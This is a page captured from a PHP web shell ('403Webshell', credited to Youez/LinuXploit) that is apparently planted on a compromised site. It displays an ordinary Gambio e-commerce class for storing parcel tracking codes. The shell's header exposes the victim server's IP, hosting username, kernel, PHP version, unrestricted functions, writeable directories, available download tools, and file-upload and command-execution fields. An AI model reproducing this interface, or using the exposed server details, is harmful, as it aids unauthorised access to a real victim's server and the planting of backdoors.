403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/tracking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/tracking/ParcelTrackingCodeWriter.inc.php
<?php
/* --------------------------------------------------------------
   ParcelTrackingCodeWriter.inc.php 2016-09-20
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2016 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class ParcelTrackingCodeWriter
 */
class ParcelTrackingCodeWriter
{
	/**
	 * @param $p_url
	 * @param $p_trackingCode
	 *
	 * @return string
	 */
	public function buildTrackingUrl($p_url, $p_trackingCode)
	{
		return str_replace('{TRACKING_NUMBER}', rawurlencode((string)$p_trackingCode), (string)$p_url);
	}
	
	
	/**
	 * @param $p_string
	 * @param $p_trackingCode
	 *
	 * @return string
	 */
	public function resolveTrackingCodePlaceholder($p_string, $p_trackingCode)
	{
		return str_replace('{TRACKING_NUMBER}', (string)$p_trackingCode, (string)$p_string);
	}
	
	
	/**
	 * @param $p_trackingId
	 *
	 * @return bool
	 */
	public function deleteTrackingCode($p_trackingId)
	{
		$query = 'DELETE FROM orders_parcel_tracking_codes WHERE orders_parcel_tracking_code_id = '
		         . (int)$p_trackingId;
		
		xtc_db_query($query);
		
		return true;
	}
	
	
	/**
	 * @param                     $p_orderId
	 * @param                     $p_trackingCode
	 * @param                     $p_parcelServiceId
	 * @param ParcelServiceReader $parcelServiceReadService
	 *
	 * @return int
	 * @throws UnexpectedValueException
	 * @throws Exception
	 */
	public function insertTrackingCode($p_orderId,
	                                   $p_trackingCode,
	                                   $p_parcelServiceId,
	                                   ParcelServiceReader $parcelServiceReadService)
	{
		if(empty($p_orderId))
		{
			throw new UnexpectedValueException('cannot insert tracking code, because orderId empty');
		}
		elseif(empty($p_trackingCode))
		{
			return 0;
		}
		
		/** @var ParcelService $parcelService */
		$parcelService = $parcelServiceReadService->getParcelServiceById($p_parcelServiceId);
		
		if($parcelService === false)
		{
			throw new Exception('parcelService could not be found');
		}
		
		$p_trackingCode = preg_replace('/\s/', '', $p_trackingCode);
		
		$languageId        = $this->_getLanguageIdByOrderId($p_orderId);
		$parcelServiceName = $parcelService->getName();
		$url               = $this->buildTrackingUrl($parcelService->getUrlByLanguageId($languageId), $p_trackingCode);
		$comment           = $this->resolveTrackingCodePlaceholder($parcelService->getCommentByLanguageId($languageId),
		                                                           $p_trackingCode);
		
		$query = 'INSERT INTO orders_parcel_tracking_codes
					SET
						order_id = ' . (int)$p_orderId . ',
						tracking_code = "' . xtc_db_input($p_trackingCode) . '",
						parcel_service_id = ' . (int)$p_parcelServiceId . ',
						parcel_service_name = "' . xtc_db_input($parcelServiceName) . '",
						language_id = ' . (int)$languageId . ',
						url = "' . xtc_db_input($url) . '",
						comment = "' . xtc_db_input($comment) . '"';
		
		xtc_db_query($query);
		
		return xtc_db_insert_id();
	}
	
	
	/**
	 * @param                     $p_orderId
	 * @param                     $p_trackingUrl
	 * @param                     $p_parcelServiceId
	 * @param ParcelServiceReader $parcelServiceReadService
	 * @param                     $p_trackingCode
	 *
	 * @return int
	 * @throws UnexpectedValueException
	 * @throws Exception
	 */
	public function insertTrackingUrl($p_orderId,
	                                  $p_trackingUrl,
	                                  $p_parcelServiceId,
	                                  ParcelServiceReader $parcelServiceReadService,
	                                  $p_trackingCode = '')
	{
		if(empty($p_orderId))
		{
			throw new UnexpectedValueException('cannot insert tracking code, because orderId empty');
		}
		elseif(empty($p_trackingUrl))
		{
			return 0;
		}
		
		/** @var ParcelService $parcelService */
		$parcelService = $parcelServiceReadService->getParcelServiceById($p_parcelServiceId);
		
		if($parcelService === false)
		{
			throw new Exception('parcelService could not be found');
		}
		
		$languageId        = $this->_getLanguageIdByOrderId($p_orderId);
		$parcelServiceName = $parcelService->getName();
		$url               = $p_trackingUrl;
		$comment           = $this->resolveTrackingCodePlaceholder($parcelService->getCommentByLanguageId($languageId),
		                                                           '');
		$trackingCode      = empty($p_trackingCode) ? $url : $p_trackingCode;
		
		$query = 'INSERT INTO orders_parcel_tracking_codes
					SET
						order_id = ' . (int)$p_orderId . ',
						tracking_code = "' . xtc_db_input($trackingCode) . '",
						parcel_service_id = ' . (int)$p_parcelServiceId . ',
						parcel_service_name = "' . xtc_db_input($parcelServiceName) . '",
						language_id = ' . (int)$languageId . ',
						url = "' . xtc_db_input($url) . '",
						comment = "' . xtc_db_input($comment) . '"';
		
		xtc_db_query($query);
		
		return xtc_db_insert_id();
	}
	
	
	/**
	 * @param int $p_orderId
	 *
	 * @return int
	 * @throws Exception
	 */
	protected function _getLanguageIdByOrderId($p_orderId)
	{
		$query  = 'SELECT l.languages_id
					FROM
						orders o ,
						languages l
					WHERE
						o.orders_id = ' . (int)$p_orderId . ' AND
						o.language = l.directory
					ORDER BY l.status DESC
					LIMIT 1';
		$result = xtc_db_query($query);
		
		if(xtc_db_num_rows($result) == 0)
		{
			throw new Exception('language_id of order ' . (int)$p_orderId . ' could not be determined');
		}
		
		$row        = xtc_db_fetch_array($result);
		$languageId = (int)$row['languages_id'];
		
		return $languageId;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit